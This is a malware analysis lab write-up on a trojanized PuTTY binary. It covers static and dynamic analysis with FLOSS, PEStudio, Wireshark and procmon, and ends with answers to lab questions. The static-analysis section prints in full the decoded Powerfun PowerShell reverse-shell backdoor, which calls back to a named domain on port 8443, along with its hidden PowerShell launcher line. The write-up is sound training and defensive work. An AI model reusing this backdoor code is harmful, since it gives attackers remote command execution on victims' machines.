-
Basic static analysis:
# extract putty.exe sha256sum.exe putty.exe md5sum.exe putty.exe FLOSS.exe -n 6 putty.exe > puttystrings.txt # filter strings with length of 6 or more
Interesting strings found from FLOSS:
PuTTY downstream no longer available SSHCONNECTION@putty.projects.tartarus.org-2.0- Host does not exist Software\SimonTatham\PuTTY\Jumplist Host key did not appear in manually configured list MakeDragList ioctlsocket closesocket Network error: Socket operation on non-socket Network error: Protocol wrong type for socket Unable to parse Diffie-Hellman reply packet Unable to parse ECDH reply packet Unable to parse RSA public key packet Bad SSH-1 public key packet Unable to parse Diffie-Hellman group packet Incorrect CRC received on packet Incorrect MAC received on packet Invalid padding length on received packet Server sent truncated SSH_MSG_USERAUTH_INFO_REQUEST packet Truncated GLOBAL_REQUEST packet Truncated CHANNEL_OPEN_CONFIRMATION packet Truncated CHANNEL_OPEN packet Truncated CHANNEL_OPEN_FAILURE packet Truncated CHANNEL_REQUEST("x11-req") packet spoolss.dll winmm.dll sspicli.dll shcore.dll wship6.dll crypt32.dll secur32.dll user32.dll comctl32.dll shell32.dll Shell32.dll kernel32.dll wsock32.dll advapi32.dll ws2_32.dll 4<(::DataSpace/Storage/MSCompressed/Content X,::DataSpace/Storage/MSCompressed/ControlData )::DataSpace/Storage/MSCompressed/SpanInfo /::DataSpace/Storage/MSCompressed/Transform/List H&i::DataSpace/Storage/MSCompressed/Transform/{7FC28940-9D31-11D0-9B27-00A0C91E9C7C}/InstanceData/ResetTable powershell.exe -nop -w hidden -noni -ep bypass "&(::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('<base64-encoded string>'))),[System.IO. Compression.CompressionMode]::Decompress))).ReadToEnd()))" GDI32.dll
-
One of the strings found from
FLOSS
shows a base64-encoded payload - when decoded, it gives us a script for 'Powerfun':# Powerfun - Written by Ben Turner & Dave Hardy function Get-Webclient { $wc = New-Object -TypeName Net.WebClient $wc.UseDefaultCredentials = $true $wc.Proxy.Credentials = $wc.Credentials $wc } function powerfun { Param( [String]$Command, [String]$Sslcon, [String]$Download ) Process { $modules = @() if ($Command -eq "bind") { $listener = [System.Net.Sockets.TcpListener]8443 $listener.start() $client = $listener.AcceptTcpClient() } if ($Command -eq "reverse") { $client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443) } $stream = $client.GetStream() if ($Sslcon -eq "true") { $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback])) $sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local") $stream = $sslStream } [byte[]]$bytes = 0..20000|%{0} $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) if ($Download -eq "true") { $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n") $stream.Write($sendbytes,0,$sendbytes.Length) ForEach ($module in $modules) { (Get-Webclient).DownloadString($module)|Invoke-Expression } } $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() $listener.Stop() } } powerfun -Command reverse -Sslcon true
-
This script seems to be a PowerShell backdoor script, and it connects to "bonus2.corporatebonusapplication.local".
-
For further static analysis, we can use tools like
PEview
,PEStudio
andcapa
. -
In
PEView
, while viewing the Import Address Table, underIMAGE_SECTION_HEADER.text
, we can notice that Virtual Size is 95F6D (614253 in decimal) and Size of Raw Data is 96000 (614400) - as Virtual Size is lesser here, this is not a packed binary. (we can view this info inPEStudio
too) -
In
PEStudio
, we can view Sections, Imports, Strings and other parts for more context. -
Under Imports, we can view certain flagged ones like
GetDesktopWindow
,GetWindowTextA
,RegCreateKeyA
,DeleteFileA
andGetClipboardData
- this may or may not be used for Putty.
-
-
Basic dynamic analysis:
-
Without internet connection, if we detonate the malware, a PowerShell window pops up in the background and closes, but the rest of the Putty functionality is the same.
-
By running
sudo wireshark
on Remnux, we can confirm that when we run the binary, it sends a DNS query to 'bonus2.corporatebonusapplication.local' - as we do not have Internet connection it does not work. -
Running the malware with internet connection also has the same results - it tries to connect to the domain on port 8443 using TCP connection (HTTPS).
-
After resetting FlareVM, we can use
procmon
for host-based indicators as well. -
Detonate the malware and in
procmon
, add filters for 'Process Name - putty.exe', 'Operation contains File' - this gives us some more context. -
As we have a domain name now, we can try to spoof it and trick the binary - edit the
/etc/hosts
file in Windows and map localhost to the malicious domain. -
Now in
procmon
, add filter for 'Process Name is putty.exe' and then run the binary. -
After running it, we can use the process ID and filter by Parent PID as well - this way, we can see the
powershell.exe
processes as well. -
If we start listening on the callback port on Windows itself by
ncat --nvlp 8443
, and then run the binary - this prints the domain name and some other data.
-
-
Basic static analysis:
- What is the SHA256 hash of the sample? - 0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83
- What architecture is this binary? - x86 (32-bit)
- Are there any results from submitting the SHA256 hash to VirusTotal? - 58/71 flagged as malicious
- Describe the results of pulling the strings from this binary. Record and describe any strings that are potentially interesting. Can any interesting information be extracted from the strings? - base64-encoded Powerfun script, gives domain 'bonus2.corporatebonusapplication.local'
- Describe the results of inspecting the IAT for this binary. Are there any imports worth noting? - GetDesktopWindow, GetWindowTextA, RegCreateKeyA, DeleteFileA, GetClipboardData
- Is it likely that this binary is packed? - No
-
Basic dynamic analysis:
- Describe initial detonation. Are there any notable occurrences at first detonation? Without internet simulation? With internet simulation? - In both cases, running the malware launches PowerShell briefly
- From the host-based indicators perspective, what is the main payload that is initiated at detonation? What tool can you use to identify this? - Powershell one-liner, found both in static & dynamic analysis
- What is the DNS record that is queried at detonation? - bonus2.corporatebonusapplication.local
- What is the callback port number at detonation? - 8443
- What is the callback protocol at detonation? - SSL/TLS (HTTP, 8443)
- How can you use host-based telemetry to identify the DNS record, port, and protocol? - Procmon, TCPView or Wireshark
- Attempt to get the binary to initiate a shell on the localhost. Does a shell spawn? What is needed for a shell to spawn? - shell cannot spawn without a proper certificate, as HTTPS is being used here.